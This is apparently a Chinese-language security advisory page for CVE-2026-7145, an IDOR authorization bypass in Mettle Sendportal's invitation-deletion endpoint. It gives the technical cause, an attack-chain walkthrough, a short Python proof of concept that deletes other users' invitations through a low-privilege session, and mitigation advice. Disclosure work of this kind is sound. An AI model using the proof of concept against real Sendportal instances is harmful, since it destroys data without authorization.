IPBUF安全漏洞报告
English
CVE-2026-7145 CVSS 5.4 中危

CVE-2026-7145 Mettle Sendportal授权绕过漏洞

披露日期: 2026-04-27

漏洞信息

漏洞编号
CVE-2026-7145
漏洞类型
权限绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Mettle Sendportal

相关标签

权限绕过IDORMettle SendportalWeb安全逻辑漏洞

漏洞概述

Mettle Sendportal是Mettle公司开发的一个开源邮件营销平台。在3.0.1及以下版本中,发现了一个安全漏洞。该漏洞位于邀请处理组件的WorkspaceInvitationsController.php文件中的destroy函数。由于对invitation参数的处理不当,导致授权验证机制失效。攻击者可以通过构造特定的请求参数,远程利用此漏洞绕过权限检查,从而执行未授权的操作。目前厂商尚未对此漏洞做出修复响应,风险持续存在。

技术细节

该漏洞的根本原因在于Mettle Sendportal的WorkspaceInvitationsController控制器中的destroy方法缺乏严格的权限校验。具体来说,当应用程序处理删除邀请的请求时,直接使用了用户传入的invitation参数或标识符,而没有验证当前用户是否有权删除该特定的邀请资源。在PHP的Laravel框架中,通常依赖Policy或Gate来检查资源所有权,但该函数可能遗漏了这一步,或者判断逻辑存在缺陷。攻击者无需高权限,仅需普通用户身份(PR:L),即可通过网络发送特制的HTTP请求。利用该漏洞,攻击者可以操纵invitation参数,指向不属于其权限范围内的邀请ID,从而强制执行删除操作(I:L/A:L)。这属于典型的不安全的直接对象引用(IDOR)或逻辑漏洞,破坏了系统的访问控制模型。

攻击链分析

STEP 1
侦察
攻击者识别出目标运行的是Mettle Sendportal 3.0.1或更早版本。
STEP 2
获取低权限账户
攻击者注册或获取一个普通用户账户,满足CVSS向量中的PR:L(低权限)要求。
STEP 3
构造恶意请求
攻击者分析API路由,锁定`/workspaces/invitations/{id}`的DELETE接口,并准备一个不属于自己权限范围的invitation ID。
STEP 4
执行攻击
攻击者利用低权限账户发送DELETE请求,由于后端destroy函数未校验资源归属,请求成功执行。
STEP 5
达成影响
成功删除了本不应有权限删除的邀请记录,造成数据完整性(I:L)和可用性(A:L)影响。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_auth_bypass(target_url, session_cookie, invitation_id): """ PoC for CVE-2026-7145 Attempts to delete an invitation without proper authorization. """ headers = { "Cookie": f"sendportal_session={session_cookie}", "User-Agent": "CVE-2026-7145-Scanner" } # The endpoint vulnerable to authorization bypass delete_url = f"{target_url}/workspaces/invitations/{invitation_id}" try: response = requests.delete(delete_url, headers=headers, timeout=10) if response.status_code == 200 or response.status_code == 204: return f"[+] Vulnerability confirmed! Invitation {invitation_id} deleted bypassing auth." elif response.status_code == 403 or response.status_code == 401: return "[-] Authorization check passed, not vulnerable." else: return f"[?] Unexpected response code: {response.status_code}" except Exception as e: return f"[!] Error: {str(e)}" # Usage # target = "http://localhost:8000" # s_cookie = "valid_low_priv_user_cookie" # target_inv_id = "1" # print(check_auth_bypass(target, s_cookie, target_inv_id))

影响范围

Mettle Sendportal <= 3.0.1

防御指南

临时缓解措施
由于官方尚未响应,建议在应用层面对`Workspaces/WorkspaceInvitationsController`的destroy动作进行临时拦截,或通过Web应用防火墙(WAF)规则限制对相关API的DELETE操作,仅允许受信任的IP或管理角色访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表